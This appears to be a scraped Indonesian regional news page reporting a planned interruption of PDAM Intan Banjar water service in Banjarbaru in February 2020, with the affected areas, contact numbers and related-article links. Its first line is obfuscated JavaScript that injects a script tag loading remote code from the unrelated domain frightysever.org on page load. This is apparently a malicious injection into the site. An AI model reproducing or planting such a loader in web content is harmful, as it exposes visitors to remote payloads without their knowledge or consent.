(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Untuk sementara distribusi air bersih dari PDAM Intan Banjar akan mengalami gangguan. Hal ini sehubungan dengan adanya perbaikan pipa distribusi di Jalan Gubernur Syarkawi yang dilaksanakan pada Selasa 18 Februari 2020 pukul 10.00 Wita sampai selesai.
Perbaikan tersebut akan berdampak pada terjadinya penghentian aliran distribusi ke sejumlah wilayah. Yakni, Cabang 1 yang terdiri atas Landasan Ulin, sebagian Trikora, Liang Anggang, Gambut, Tambak Sirang dan sekitarnya.
Kemudian, Cabang 2, Aluh Aluh, Tambak Sirang, jalan lrigasi, Tatah Makmur, Tatah Pamangkih, Tatah Layap, Tatah Belayung, Beruntung Baru dan sekitarnya
Menurut Kabag Humas PDAM Intan Banjar M Azwar, diperkirakan waktu pekerjaan perbaikan tersebut selama dua hari terhitung mulai Selasa (18/2/2020) dan pengembalian tekanan ke jaringan menyesuaikan kondisi di lapangan.
Untuk informasi lebih lanjut, jelas Azwar, dapat menghubungi PDAM Intan Banjar, yakni antor Pusat melalui Call Center (0511) 4772061 / 4782004.
Sementara untuk pemesanan mobil tangki dapat menghubungi 05114773201 / 0852-48487444.
“Atas terjadinya gangguan pendistribusian air tersebut, manajemen PDAM Intan Banjar memohon maaf atas ketidaknyamanan ini,†pungkas Azwar. (kanalkalimantan.com/dhani)
KANALKALIMANTAN.COM, JAKARTA - Pemerintah secara resmi menetapkan tarif baru untuk biaya pembuatan paspor yang mulai… Read More
KANALKALIMANTAN. COM, PARINGIN - Sebanyak 21 Lansia terdiri 19 wisudawati dan dua wisudawan, mengikuti wisuda… Read More
KANALKALIMANTAN.COM, BANJARBARU - Nasib Tugu Adipura yang menjadi salah satu ikon Ibu Kota Provinsi Kalimantan… Read More
KANALKALIMANTAN.COM - Kabar bahagia untuk nasabah BRI dan pengguna aplikasi mobile banking BRImo. Saat ini,… Read More
Terancam Tak Bisa Dilewati Jemaah Haul ke-20 Sekumpul Read More
Dispersip Kalsel Musnahkan Arsip Tiga Instansi Read More
This website uses cookies.